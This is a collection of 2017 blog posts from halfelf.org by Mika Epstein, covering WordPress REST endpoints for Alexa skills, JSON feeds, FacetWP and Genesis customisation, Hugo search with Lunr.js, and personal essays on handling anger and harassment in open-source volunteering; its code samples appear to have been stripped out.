Designing your API requires forethought. In a previous post, I named my flash briefing URL `/MYSITE/v1/alexa-skills/briefing` and, in keeping with that, this one will be named `/MYSITE/v1/alexa-skills/last-post/`
You’ll need to hang on to your URL – `https://example.com/wp-json/MYSITE/v1/alexa-skills/last-post/` – as you will need to put this into your Amazon Skill. This will be a custom skill and you’ll need to have the intent look like this:
Remember, the goal is eventually to be able to use that date slot. We’re not right now, but be prepared, as Mr. Lehrer would say.
With that in mind, the sample utterances look like this:
You’ll notice I’m trying to think of every which way someone *might* ask the question. You need to do this. Alexa is very picky.
## The Rest API Code
Once you’ve built out your Amazon Skill (and yes, that really is the easy part), you have to have the response. This is built off the same model I used before, and can be slipped in and shared.
As I said, it’s pretty simple. The output looks like this:
This is not the most efficient way to grab one post, but for the purposes of this example, it does get your head around the basic idea.
## Next Up?
There are two issues with this code. First of all, it doesn’t meet Amazon’s requirements. Secondly, it doesn’t accept parameters. The first issue is much bigger, because as it turns out, Amazon *requires* you to check if the requests are coming from Amazon, are valid, and aren’t a bot-net attack. This is actually very smart, but very annoying, since they don’t make it easy to figure out how to do all that.
But that’s next.
If you hear screaming from California, it’s just me.
**Categories:** How To
**Tags:** alexa, api, echo, json
---
### [Flash Briefing JSON Feed](https://halfelf.org/2017/flash-briefing-json-feed/)
**Published:** June 7, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making a JSON Feed acceptable for Amazon Alexa Skills.
**Content:**
The other day I mentioned a ‘solution’ to my problem of video enclosures would also be to use a JSON feed. As much as I’d like to tell you just to use [JSON feed](https://jsonfeed.org), you can’t because their specs don’t match Amazon’s.
The creation of a JSON Feed that does match their specs is somewhat peculiar, but still straightforward. I went with making a JSON API output instead of making true feed, since frankly I don’t think Amazon’s all that consistent with their own spec, and I’ll need to tweak it later. I’d like to do so without breaking everything else.
## The Code
## Some Notes…
This is built out with the assumption I will later be adding more information and skills to this site. That’s why the class is named for the skills in general and has the rest route set up for sub-routines already. If that’s not on your to-do, you can simplify.
I also made the point to strip out the possibility of a StreamURL, which I don’t plan to use at all on this site. If you do, I recommend having a look at [VoiceWP’s briefing.php file](https://github.com/alleyinteractive/voicewp/blob/master/alexa/skill/briefing.php#L47) which does a nice job with handling that.
**Categories:** How To
**Tags:** feed, json, rest api
---
### [Alexa Flash Briefing Skills and Video Enclosures](https://halfelf.org/2017/alexa-flash-briefing-video-enclosures/)
**Published:** June 5, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Amazon's Flash Briefing RSS scanner has some flaws when it comes to videos.
**Content:**
One of my goals this year, aided by the inimitable Chris Lema, was to make an Amazon Echo app.
There’s a lot more to the whole plan, but I want to start with the simple stuff first. So the very first step is that I want to make a “Flash Briefing” app. That will allow people to get the latest posts from my site.
For the most part, this is trivial. Creating a [Flash Briefing Skill](https://developer.amazon.com/public/solutions/alexa/alexa-skills-kit/docs/steps-to-create-a-flash-briefing-skill) is fairly well documented and essentially is this:
1. Make an account
2. Create a Skill
3. Point it to your RSS feed
4. Give it an icon
And that works great. Unless, of course, you have videos in a post.
You see, when I went to add my RSS feed, I got this rather useless error:
## What Went Wrong?
The error was caused by having a video in a post. Now, I need to stress the stupidity here. I have a video inside the post. It’s not a video post, it just has an embedded video because it was contextually needed.
Logically I googled the error and came up empty. This did not surprise me. I’ve been resigned to learn that Amazon is not actually very helpful with their UX or error messages. I’m not sure why this is but their tech UX, the stuff made for developers not the devices made for end-users, tend to be incredibly poorly designed and ill documented for new people.
That said, I understood the error was reflecting on a ‘video’ URL, and I had a video in that specific post. I removed the video, tested, and it worked. Ergo the error was caused by the video’s existence. But as it happened, *Stream URL* had nothing to do with it.
## It Was Elements
The real issue was found when I read through [the feed format details](https://developer.amazon.com/public/solutions/alexa/alexa-skills-kit/docs/flash-briefing-skill-api-feed-reference#feed-format-details) which had mention of a need, for *audio* content, an “URL specifying the location of audio content for an audio feed.”
This wasn’t an audio file, but the example for a JSON feed was to include a “streamUrl” value. Oh. And for RSS? An “enclosure element with type attribute set to audio/mpeg”
This had to be related.
When I looked at my RSS feed, however, I saw this:
Wasn’t that what I needed?
## A Second Enclosure
Apparently the flash briefing RSS code is stupid and thinks that any enclosure has to have the “audio/mpeg” type. So how do I add in this?
By the way yes I reported this to them as a bug. Anyway, the first attempt at fixing this was for me to add a new custom post meta for the enclosure like this:
That auto-added the proper enclosure code because WordPress knows what it’s doing. Once I was sure that worked, I filed the full bug report and then went the *other* way.
## Remove The Enclosures
This is not something I generally recommend. However if you’re not podcasting or vlogging and you have no need to encourage people to download your videos and media via RSS, then you *can* get away with this:
That removes the enclosure code.
## Build Your Own
Another fix would have been to make a JSON output or use something like [JSONFeed](https://jsonfeed.org) itself. Or of course I could have auto-duplicated the embeds, but that just felt wrong to me.
**Categories:** How To
**Tags:** amazon, echo, feeds
---
### [Tracking Changes On Sites](https://halfelf.org/2017/tracking-changes-sites/)
**Published:** June 9, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Trying to track changes in webpages when they don't make it easy isn't easy.
**Content:**
When you make a site dependent on others for your data, it’s important to be able to get updates on those sites promptly. Most of the time, a site has way to see what’s recently updated, be it by a page that lists what’s new, or an RSS feed, or an email list.
But what happens when they *don’t*?
Well. Then you need to look into monitors. And the bad news? Nothing is perfect. I’ve picked the top two services I tried over the month of May
## [VisualPing](https://visualping.io)
If the content of a page is HTML only, then it’s great. But if you’re trying to monitor a highly dynamic javascript site, it can time out. Especially if the site has a lot of data. The interface of the site is nice, having a simple UX that was easy to understand. At the same time, it doesn’t handle abnormal well, and often wouldn’t tell me there were changes because simply it couldn’t tell.
Overall, it was a disappointment for me and not useful for the javascript heavy page I was trying to monitor. As such, I’m not using it anymore.
## [Versonista](https://versionista.com)
This is much better for a javascript heavy page that has a long load time. It can list out the URLs added that are new, and you can review the changes into the minutiae. But. The emails are incredibly inconsistent and the UX is overly complex. While I can go in and see what’s changed, down to the source-code, I’m supposed to get a daily email about that and I don’t. Also the options are too much. I just want to see what changed. A list of the changes, maybe a list of the new links. Instead I have to click around to figure out how to see the list better.
Between that and the email situation, I’m unhappily still using it.
## Overall…
The real issue I have is not with these services, but the fact that the webpage I’m trying to monitor was not intelligently designed. It’s trying to list everything on one page, using javascript, and sadly it’s not well optimized. I can’t even get the page to load properly on my iPad. The content is also not sortable. It’s always alphabetical, no matter what.
My biggest takeaway from this is that with *some* content it makes sense to hard define your content. That is, sorting everything by name and not allowing it to be restored may make sense for many people. But you have to allow people an easy way to see what’s new if you want them to keep coming back.
**Categories:** How To
**Tags:** apps, monitor, sorting
---
### [SEO and URLs and Indexes](https://halfelf.org/2017/seo-urls-indexes/)
**Published:** June 2, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Index pages aren't hurting your SEO, though your content may be.
**Content:**
The question of the day. “Does having all your posts indexed on the main page of your site cause the highest SEO value to be in your main domain name and not the individual posts or categories?”
No.
## What is your homepage for?
As a reminder, you don’t have to have all your posts listed on your main page, or any page when you get down to it. When you don’t we call those ‘static sites’ but really what we mean is “A non-newspaper site.”
Yoast talks about this with regards to what they call [homepage SEO](https://yoast.com/homepage-seo/). As Michiel notes in that post, the point of your homepage is to load fast, explain the purpose of the site, and direct people to where they need to be.
## Where Is SEO Value?
The SEO value in your site is not going to be in the homepage or the category pages. It’s not in the archive pages either. The value of your site is found in your important content. We call this your flagship or cornerstone content. Those are the pages you want to drive people to, to get the most out of their visit.
There’s a lot of good advice about how to make good content like that, from [CopyBlogger](http://www.copyblogger.com/how-to-create-cornerstone-content-that-google-loves/) and [Yoast](https://yoast.com/cornerstone-content-rank/) and more. But the point they all make is that the mead and meat part of your site is the content and not the index.
## Do index pages lose SEO?
Again. No. Look. I get it. The real question is “Will sending everyone to my home page screw up my cornerstone SEO?”
No. That’s not how it works. If people are looking for “your website topic” then yes, they will end up on the home page. And if your home page is a constantly rotating list of pages, then yes, they will see links to some deeper content.
But that doesn’t hurt your SEO. Google will rank your cornerstone pages properly because they will rank higher. They will have more specific content. They will be your centers. So spending all your time coming up with fancy ways to get rid of content that is underperforming, hiding it and removing it, it’s just a waste of time and energy. Of course that’s a bit of a different topic.
## Your homepage won’t hurt your SEO
Listing your recent posts on your home page doesn’t hurt your SEO. Actually it helps a little to have a ‘recent posts’ section. But no, having the posts lists doesn’t hurt the SEO. Your site will be just fine. Don’t make weird CPTs to shuffle things around.
**Categories:** How It Is
**Tags:** essay, seo
---
### [Calm Under Pressure](https://halfelf.org/2017/calm-under-pressure/)
**Published:** May 26, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** We must chose control.
**Content:**
A friend remarked she was impressed I was able to stay calm under the abuse slung my way. I have a secret.
## I’m Often Very Angry
I’m not calm. I’m often quite irate and I froth and I rant. Some of my friends hear those rants. The complaints about how can people be that myopic and obtuse run rampant. I also do on occasion see red and feel my blood pressure rise and I want to reply to people so angrily.
I really do. I want to scream and use all caps to emphasize that lying to people, trying to trick them, or otherwise doing bad things makes them bad people. I really want to shake some people to make them see they’re hurting themselves more than anything else. Some people I want to take their computers away because clearly they’re too immature for even free plugin hosting.
## That’s My Secret
If you saw the movie *The Avengers*, then you may recall a moment when Bruce Banner said he controlled the Hulk by always being angry.
The trick of that is its simplicity. You see, if Banner could only control the Hulk by not getting angry, then he’d lose. But by accepting his anger and being always angry at the state of the world, at his situation, and so on, he doesn’t have to control the *anger* anymore. He has to control his *temper*. That is, he controls his response to anger, but he allows the anger to happen.
## It’s Okay To Be Angry
We all get angry. We see people doing stupid things and we get mad. But we have a choice in how we respond and react to those things. You can’t stop yourself from being angry, but you can stop yourself from being an uncontrolled Hulk when you’re angry.
Seeing people not care about others gets me madder than anything else. Be it cutting in line, stealing, abuse, or the government. Or, yes, plugins. I get pissed off. I find that lack of humanity, lack of humanitarianism, to be appalling and disgusting.
But I don’t lash out and hurt people (at least not intentionally) when it happens. I try to educate, to discuss, and to communicate.
## We Have A Choice
We usually have a choice on how we react. There are, of course, situations where we are not in control of ourselves, where we react before we can control. Trauma triggers cause that in many of us. But where and when we do have a choice, we must remember our humanity. We must chose control.
**Categories:** How It Is
**Tags:** essay, oped
---
### [Adding Sort Options to Facet](https://halfelf.org/2017/adding-sort-options-facet/)
**Published:** May 29, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Adding sort-by options to your Facet powered site.
**Content:**
As I implement more and more aspects of [FacetWP](https://facetwp.com), I find more and more ways to manipulate the searches. At first I only added in the features that let people easily search for multiple aspects at once. But I hadn’t yet added in any features to sorting.
## Sorting and Ordering
The way Facets generally work is that you can easily organize all ‘types’ together, so if you wanted to search for everything that crossed four separate categories, it was very easy. In addition, you can extend it to search meta data as well.
Sorting, on the other hand, is changing the *order* of the results. For example, if you wanted to search for everyone with terms A, B, and D, and post meta foo, but order them based on post meta bar, you can!
## A Practical Example
I always do better with examples I can wrap my hands around.
Take television shows. Take a list of 500 TV shows, and have them include the following taxonomies:
- Genres (drama, sitcom, etc)
- Airdates (Year to Year)
- Tropes (common tropes)
- Number of characters
- Number of dead characters
That’s enough for now.
With that list, and a couple facets, you can concoct a smaller list of all sitcoms that aired in between 2014 and 2016 (inclusive), with a trope of ‘sex workers.’ The answer is 4 by the way. By default, the list displays alphabetically.
But. What if you wanted to *order* them by the ones with the most characters first?
That’s sorting.
## The Code
Okay so how do we add this in? Functions!
Facet comes with quite a few defaults, but it lets you add your own [sort options](https://facetwp.com/documentation/facetwp_sort_options/). The two things I’m going to show below are how to rename the display labels for some of the defaults, and how to add in one new option for the most number of characters:
I have this wrapped in a check for `is_post_type_archive` because I don’t want the options to show on other pages. The meta key is the name of the meta key you’re going to use to sort by (I have key that updates every time a post is saved with a count of characters attached) and the orderby value is one of the ones [WP Query can use](https://codex.wordpress.org/Class_Reference/WP_Query#Order_.26_Orderby_Parameters).
## End result?

Looks nice!
**Categories:** How To
**Tags:** code, facetwp, wordpress
---
### [FacetWP, Genesis, and Archives](https://halfelf.org/2017/facetwp-genesis-archives/)
**Published:** May 31, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Changing the archive header dynamically based on your Facet choices.
**Content:**
In my ongoing use of [FacetWP](https://facetwp.com) and [Genesis](http://www.shareasale.com/r.cfm?b=346198&u=728549&m=28169&urllink=&afftrack=), I ran into a case where I wanted to change the archive description content based on what sorts of options had been selected in the search. In part I wanted to remind visitors of what they’d picked, but also I wanted to easy to remove a search facet.
## Before
In the beginning, the archive was a static thing:

This is intentionally boring. It lists the archive title, how many posts, and a description.
## Filtering the Content
Since this is Genesis, the first step is to know how to filter at all. Since I’m only doing this on custom post types, I went with the very precise action and that is `genesis_do_cpt_archive_title_description` (aptly named).
I remove it and then add in my own:
From here out, all the work will happen in the function `DOMAIN_do_facet_archive_title_description` which lives in my `functions.php` because it’s all theme specific.
## What Gets Added
Now it’s time to decide what you want to add. I picked three things:
1. Change the post count based on the results
2. List the selections chosen
3. Change the title based on the sort order
Those are two simple asks and one weird one.
Facet comes with the ability to display counts and selections:
- `facetwp_display( 'counts' );`
- `facetwp_display( 'selections' );`
The problem I had was that the counts were formatted in a way I didn’t like, so I quickly cleaned it up by [filtering the result count](https://facetwp.com/documentation/facetwp_result_count/):
That means the count and the selections can simply be tacked on to the description.
## Adding the Sort Data
The hardest part was figuring out how to add the sort data. Since FacetWP uses a lot of javascript, I spent half an afternoon ranting to myself and trying to figure out how to do this in javascript. And then I did what I usually do when confused. I read the code.
As I read, I realized some of FacetWP’s magic is that they pass the GET parameters of the search over to javascript… And if they were doing that, then I could just use PHP to grab those parameters.
All I had to do was pass `$_GET['fwp_sort']` into a variable.
## The Code
Enough talk. Here’s the code:
You’ll notice that I’ve kept in all the regular Genesis filters. This was so that my theme can take advantage of whatever magic Genesis invents down the line.
## How It Looks
Now the default looks like this:

And after you’ve picked a few options, it changes to this:

If you click the little x’s on the side of the selections, they’re removed.
There’s still room for design improvement, but remember folks. Release and iterate.
**Categories:** How To
**Tags:** facetwp, genesis, wordpress
---
### [Taxonomy Icons](https://halfelf.org/2017/taxonomy-icons/)
**Published:** May 24, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Giving each taxonomy an icon. Not the term, the taxonomy.
**Content:**
Last year I talked about how I made icons for my taxonomy terms. When you have a limited number of terms, that makes sense. When you have a taxonomy with the potential for a high volume of terms, like nations (192), or worse an *unlimited* number of terms, this approach looses its value.
Instead, I realized what I needed for a particular project was a custom icon for each taxonomy. Not the term.
I split this up into two files because I used a slightly different setup for my settings API, but the tl;dr of all this is I made a settings page under themes called “Taxonomy Icons” which loads all the public, non-default taxonomies and associates them with an icon.
For this to work for you, you will need to have your images in a folder and define that as your `IMAGE_PATH` in the code below. Also mine is using `.svg` files, so change that if you’re not.
## File 1: taxonomy-icons.php
The one gotcha with this is I usually set my default values with `$this->plugin_vars = array();` in the `__construct` function. You can’t do that with custom taxonomies, as they don’t exist yet.
## File 2: view-appearance\_page\_taxicons.php
Why that name? If you look at my `render_view` function, I pass the ID from `get_current_screen()` to it, and that means the ID is `appearance_page_taxicons` and that’s the page name.
## End Result
And in the end?

By the way, the image has some wrong text, but that is what it looks like.
**Categories:** How To
**Tags:** coding, plugins, taxonomies, wordpress
---
### [While Not Being Consumed](https://halfelf.org/2017/while-not-being-consumed/)
**Published:** May 19, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When you're evil for doing good.
**Content:**
I get painted as a bad guy a lot. I’ve been called names, everything you can think up. I’ve had my gender, sexuality, appearance, and ability all mocked and derided. And most of this has happened since I took up the role of a volunteer in WordPress.
## Creation, Editing, Fitting In
As a writer, which is how I’ve always seen myself first, I’m used to the ruthlessness of the editing process. I’ve seen papers torn apart and painted red with corrections and commentary. Why this? What are you saying here? I understand the reason for ripping apart creativity to find it’s heart and crux and meaning. Art for the sake of art is different than art for the sake of consumption, after all.
But instead of a career in the arts, or journalism, I had a different path. Out of college I went to work for a bank and quickly learned how to fit myself into the cog of a machine. I had a role and a life that did not encourage innovation and uniqueness, but that of interchangeability. And in that work, I began to understand the reason for patterns and the similarity.
I’ve always been fascinated by patterns. I liked to see how the number went from 09 to 18 and 27 and obviously the first number goes up while the second goes down, and isn’t math cool? Seeing the pattern in the work at the bank taught me that while we are all creating and inventing, what we make has to be used in many different ways, and they all need to talk to each other. So we have to make sure all the little cogs and wheels interlock properly.
## It’s Still Creation
I like to watch the behind the scenes parts of movies. It’s why I prefer to own physical copies. I have watched all the extras for the *Lord of the Rings* movies. That’s why I know Tolkien disliked when people were obsessed with his work. Because he was not obsessed. He liked what he did, but it wasn’t the end of the world if people didn’t care for it. He made something neat to tell the story he wanted to tell
Often we as developers fail at this. It’s not entirely our fault. We’re told that what we do is engineering or science, and we forget to stress the creative aspect of inventing that which has never been seen before. We forget progress is forged by dreams. And that’s why, when you see a one star review of your work, it flays you open, leaving you chained to the rocks for the crows to eat your innards. You gave fire to man, and this was your reward?!
Let’s breathe. What Tolkien didn’t seem to understand was that he had created life. He had made a world so amazing and vibrant, people saw it and wanted to be a part of it. Similarly, when we create code, we give life to others.
## The Good, The Bad, The Ugly
I’ve gotten the greatest compliments on my work in the form of someone telling me it helped them achieve their goals. People have started businesses, found success, and made something of themselves, all because of something I did.
But more often, or at least what I remember more, are the names and the anger and the harassment. The people who stalk me down on Slack and Twitter, demanding that I pay attention to them right now and that they are the most important thing… while being angry when I do devote that time, but that my answer is not what they wanted.
## Remember Your Self
Originally I titled this post “When you’re evil for doing good.” Really that didn’t touch on the real feeling I have about this. Because at the end of it all, I sit and look at the work I’ve done and I ask myself “What was this for?”
I have a strange life. I have a job that is essentially trying to keep 26% of the internet safe from itself. So my answer for “What was this for?” has become a question of itself. “Is this going to make it better or worse?”
When I come to decisions, like to tell someone we cannot host their code because they have lied and broken the guidelines too many times, it always comes from this place. Will I make things better for *the majority* or worse? And in that moment, I ignore the other question. “Will this hurt me?” Because the answer to that is “Yes, probably.”
## “Honor is what you know about yourself.”
There’s no way I can make hard decisions and not get hurt. There’s no way I can do it and not hurt others. But I sit and I remember my self. My inner self that wants to make things better, safer, and as fair as possible. I remember the me who wants to say “What I do makes the internet better.” And if that comes at a personal cost, well. I will know this.
I have integrity.
I have honesty.
I have empathy.
As long as I have those, and as long as I do my best and keep learning and becoming better, I will be doing the right thing. And I can live with being ‘evil’ when I’m doing good.
**Categories:** How It Is
**Tags:** essay, oped
---
### [Defining Yourself](https://halfelf.org/2017/defining-yourself/)
**Published:** May 12, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Defining yourself requires a lot more guts than people warn you about.
**Content:**
If you took the 2016 WordPress survey, you were asked to define yourself. Blogger, developer, designer, and so on. It’s a profound question, and not just in the metaphysical way.
## More Than One
I am many things because I represent many things. When I speak, I speak forever with the weight of who I am. I speak and it reflects on DreamHost, my company. On WordPress, where I volunteer. If I were to say I hated Akismet, for example, it could end up on various sites and Facebook groups that the Plugins Team hates Akismet.
I’ll get back to that in a minute. [Last summer I talked about handling bad reviews at WordCamp Europe](http://wordpress.tv/2016/06/30/mika-epstein-reviews-the-good-the-bad-and-the-stalker/). I don’t want to repeat that, you can watch it. People leave angry, mean, and outright bad reviews for a lot of reasons, and you can handle them constructively or not, as you like. Obviously I think constructive is better, because those bad reviews, the way you handle them is what’s going to make your reputations.
## The Forest for the Trees
The problem is that you, the creator, feels so close to your code and creation, that you have trouble divorcing yourself from the review. I find that the more someone has worked in journalism or writing, the less personally they take the reviews, because they have seen their works ripped apart by a red pen before. Artists have to learn how to handle being edited.
But the other problem is that you forget you’re NOT an artist. If an actor or a musician blows up at people and rants and raves, it may hurt their career, but… people still hire Mel Gibson after his anti-Semitic rant. And Tiny Fey, love her, has been rather transphobic. No one is perfect, not even our idols, and we accept that.
## The Goose vs the Gander
People are less accepting of their peers. If you get a bad review and explode on someone, calling them names, you’ve hurt yourself and your brand more than any single one star review ever could. Worse, they may treat you like a celebrity, over analyzing every word you say. That one’s a hoot.
The truth of all this is depressing. You will be hated, intentionally misunderstood, thrown under a bus, leibeled, and slandered. People will assume the worst of you. And because of this, they will assume to worst of your project, your brand, and your company. Forever.
And this too is depressing, because you will never be free of it. I posted on my blog, sometime last year, a post called “[What they don’t tell you](https://halfelf.org/2016/dont-tell-you/).” It listed the downsides to the community, and how these days happen and they suck. And you can’t stop them. I walked away from things decades ago, and they follow me. They haunt me.
## Is There a Truth?
The obvious question now, the one I am reluctant to answer is HOW do you cope?
I don’t know.
I can tell you how I cope, but I don’t know if my answers will help you. I can tell you that it does all suck sometimes, but not all times, and you should have other outlets. I cannot offer the answer, though, because there isn’t just one.
The one truth I have is that defining myself as someone I can live with being is my answer. For the truth within myself is that as long as I know I am being good and honest and as fair as I can be, I am a good person. And being a good person is what matters most to me.
**Categories:** How It Is
**Tags:** oped
---
### [Grandchildren Templates](https://halfelf.org/2017/grandchildren-templates/)
**Published:** May 22, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Templates in a widget instead of a theme? We can do that too!
**Content:**
When I posted about my cleverness with grandchildren themes (which as Cosper pointed out was a plugin), reader [Damien mentioned templates](https://halfelf.org/2017/grandchildren-themes/#comment-78996). He said:
> I have considered using template\_redirect() to override template files in the child theme. I’ve experimented with providing selectable page templates where the template file is not in the child theme directory (not so easy).
Well Damien, I think you’ll be pleased to know there *is* a solution.
[WPExplorer has made a WordPress page templates plugin](http://www.wpexplorer.com/wordpress-page-templates-plugin/). My caution is not to use the GitHub repo, which is not up to date, but copy the one in the post.
However … I forked it. And my fork is only going to work if you have both WordPress 4.7 and PHP 7. That’s because in PHP 7, PHP finally decided to allow defines to have arrays.
## The Pre-Code
I use the template in an MU plugin. It sits in a folder called “cpts” and is summoned by my master `index.php` file that has this:
As you can see, I define my array and then I call the CPT file and the templater itself.
## The Template File
This is 90% the same as the original. The two changes are I removed the check and failsafe for pre-WP 4.7, and I changed the section to add templates to call my define.
So long as you have PHP 7+ and WP 4.7+, it all works great.
**Categories:** How To
**Tags:** plugins, themes, wordpress
---
### [Grandchildren Themes](https://halfelf.org/2017/grandchildren-themes/)
**Published:** May 10, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The solution to children of children themes is a plugin.
**Content:**
I’m a fan of [Genesis themes](https://helf.us/genesis). They look nice, they’re secure, and they’re well coded. A lot of things I have to reinvent in other themes are done out of the box in Genesis.
But they’re not perfect.
## Frameworks Beget Children Themes
The problem with Genesis themes is that if you use them, you’ll end up using a Child Theme and not Genesis. Unlike boilerplate themes like [Underscores](http://underscores.me), you’re not meant to edit the theme itself but make a child theme.
For the most part, this doesn’t bother me. I don’t generally edit the child themes, except in two cases. Both of my fan sites run highly modified versions of the default themes, and one of them uses the amazing [Utility Pro](http://www.shareasale.com/r.cfm?b=778546&u=728549&m=61628&urllink=&afftrack=) theme by Carrie Dils.
And that was my problem. I knew Carrie was working on a new version which would have some amazing updates. And I? I had forked her theme.
## Marrying Forks
Merging my fork to her new theme had, generally, not been an issue. I’ve updated it a dozen times already and I just run a tool to find the diff between the files. I’m a [Coda](https://panic.com/coda) fan, and I use [Comparator](https://panic.com/coda/plugins.php?id=110) to check out the differences between files. Doing this is time consuming and annoying, however, and generally leads to people *not* making changes they should.
As time went on, I made fewer and fewer changes not because I didn’t want to, but because I had gotten increasingly smarter. Why edit out what I could de-enqueue, for example?
## Grandchildren Plugins
The solution to my woes was a grandchild. Except instead of a grandchild theme, I made a plugin. Actually I have an mu-plugin called “Site Functions” and in that file is this call:
That file has 300-ish lines of code, which sounds like a lot now that I look at it. Except it boils down to 6 actions and 7 filters:
Everything I did editing the theme, I can do in those 6 actions and 7 filters. It’s positively amazing. For example, I mentioned dequeueing? I don’t like using Google Fonts if I don’t have to, so I remove them. But I also needed to change the backstretch arguments to properly force my image in the right location, so I can do this:
That removes the fonts and backstretch arguments, and then adds my own in. And yes, I know my method of calling `mu-plugins` is not great. I do it this way because I have symlinks, and `plugins_url()` manages to call that URL instead of the one I want it to.
## The Benefits
Doing my code this way means it can’t be deactivated. It also is called by checking the theme, so if that changes then the files stop being called. I keep my own work under version control, letting me go back any time I need to. I’m no longer duplicating Carrie’s work either, speeding up my development time.
It’s a win all around.
**Categories:** How To
**Tags:** development, themes
---
### [Hugo and Lunr - Client Side Searching](https://halfelf.org/2017/hugos-lunr-search/)
**Published:** May 17, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A little javascript and JSON make searching an at-home affair for Hugo.
**Content:**
I use [Hugo](http://gohugo.io) on a static website that has few updates but still needs a bit of maintenance. With a few thousand pages, it also needs a search. For a long time, I was using a Google Custom Search, but I’m not the biggest Google fan and they insert ads now, so I needed a new solution.
## Search is the Worst Part
Search is the worst thing about static sites. Scratch that. Search is the worst part about *any* site. We all bag on WordPress’ search being terrible, but anyone who’s attempted to install and manage anything like ElasticSearch knows that WordPress’ search is actually pretty good. It’s just limited. And by contrast, the complicated world of search is, well, complicated.
That’s the beauty of many CMS tools like WordPress and Drupal and MediaWiki is that they have a rudimentary and perfectly acceptable search built in. And it’s the headache of static tools like Jekyll and Hugo. They simply don’t have it.
## Lunr
If you don’t want to use third-party services, and are interested in self hosting your solution, then you’re going to have to look at a JavaScript solution. Mine was [Lunr.js](https://lunrjs.com/), a fairly straightforward tool that searched a JSON file for the items.
There are pros and cons to this. Having it all in javascript means the load on my server is pretty low. At the same time I have to generate the JSON file somehow every time. In addition, every time someone goes to the search page, they have to download that JSON file, which can get pretty big. Mine’s 3 megs for 2000 or so pages. That’s something I need to keep in mind.
This is, by the way, the entire reason I made [that massive JSON file the other day](https://halfelf.org/2017/hugos-making-json/).
To include Lunrjs in your site, download the file and put it in your `/static/` folder however you want. I have it at `/static/js/lunr.js` next to my `jquery.min.js` file. Now when you build your site, the JS file will be copied into place.
## The Code
Since this is for Hugo, it has two steps. The first is the markdown code to make the post and the second is the template code to do the work.
### Post: Markdown
The post is called `search.md` and this is the entirety of it:
Yep. That’s it.
### Template: HTML+GoLang+JS
I have a template file in `layouts/_default/` called `search.html` and that has all the JS code as well as everything else. This is shamelessly forked from [Seb’s example code](https://gist.github.com/sebz/efddfc8fdcb6b480f567).
It’s important to note you will *also* need to call jQuery but I do that in my `header.html` file since I have a bit of jQuery I use on every page. If you don’t, then remember to include it up by `` otherwise nothing will work.
## Caveats
If you have a large search file, this will make your search page slow to load.
Also I don’t know how to have a form on one page trigger the search on another, but I’m making baby steps in my javascripting.
**Categories:** How To
**Tags:** hugo, javascript, search
---
### [Hugo Making JSON](https://halfelf.org/2017/hugos-making-json/)
**Published:** May 15, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Building a JSON file with all the data from all the posts in a Hugo site is actually not only possible, but it won't drive you insane.
**Content:**
While it rhymes with bacon, it’s not at all the same.
There are a lot of reasons you might want a JSON file output from your static site (I like [Hugo](http://gohugo.io)). Maybe you’re using Hugo to build out the backend of an API. Maybe you want to have it include a search function. Today I’m going to show you how to have a JSON file created with a complete site archive. The end goal of this example is to have a searchable JSON file that you can use with Lunrjs or Solarjs or anything else of that ilk.
## The Old Way: Node
Since I was initially doing this to integrate Hugo with [Lunr.js](https://lunrjs.com/), I spent some time wondering how I could make a JSON file and I ran into [Lunr Hugo](https://github.com/gwleclerc/lunr-hugo), a fork of Hugo Lunr but with YAML support (which I needed). I actually use a private fork of that, because I wanted to change what it saved, but this is enough to get everyone started.
To use it, you install it via Node:
Then you add the scripts to your Node package file (normally called `package.json`):
Change the value of “site/content/” as you see fit. Once installed you can build the index by typing `npm run index` and it makes the file in the right location.
The obvious downside to this is I have to run it outside of my normal build process.
## Another Old Way: Grunt
This idea come from [Seb](https://gist.github.com/sebz/efddfc8fdcb6b480f567), one of the lead developers for Hugo, and he uses a Grunt script to do this. First you have to install node and things via this command:
`npm install --save-dev grunt string toml conzole`
Next you make a `Gruntfile.js` file like this:
Take note of *where* it’s saving the files. `site/static/js/lunr/PagesIndex.json` That’s works for Seb because his set setup has everything Hugo in a `/site/` folder.
To build the file, type `grunt lunr-index` and off you go.
## The New Way: Output Formats
All of that sounded really annoying, right? I mean, it’s great but you have structure your site to separate Hugo from the Node folders, and you have to run all those steps outside of Hugo.
Well there’s good news. You can have this all automatically done if you have Hugo 0.20.0 or greater. In the recent releases, Hugo introduced [Output Formats](https://gohugo.io/extras/output-formats/). The extra formats let you spit out your code with RSS feeds, AMP, or (yes) JSON formatting automatically.
In this example, since I only want to make a master index file with everything, I can do it by telling Hugo that I want my home page, and only my home page, to have a JSON output. In order to do this, I put the following in my `config.toml` file:
If I wanted to have it on more pages, I could do that too. I don’t.
Next I made a file in my `layouts` folder called `index.json`:
To generate the file, just run a build and it makes a file called `index.json` in the site root.
## How do you statically build JSON Files?
Do you have a trick or an idea of how to make building JSON files better? Leave a comment and let me know!
**Categories:** How To
**Tags:** hugo, javascript, json
---
### [Sharing Content with Static Sites Dynamically](https://halfelf.org/2017/sharing-content-static-sites-dynamically/)
**Published:** May 8, 2017
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Using a little jQuery to make my static site more dynamic.
**Content:**
When I wrote how to [serve content to Hugo](https://halfelf.org/2017/sharing-content-hugo/), I did so using something that was mostly static. You see, that code requires someone to push a new version of the Hugo site to rebuild the pages.
Now let’s be serious, who wants to do *that*?
## The Concept
Sadly, you can’t just include a PHP file in Hugo (or any static site builder) and have it echo content. Their whole point is to be static and not change. And my problem is that I immediately ran into a week where I knew the message on the header was going to be changing *daily*.
Ew, right? Right. So I looked at that which I should be embracing deeply. Javascript. Or in this case, jQuery and the `getJSON` call. Yes, that’s right, with jQuery you can [call JSON](http://api.jquery.com/jquery.getjson/) and output it where you want.
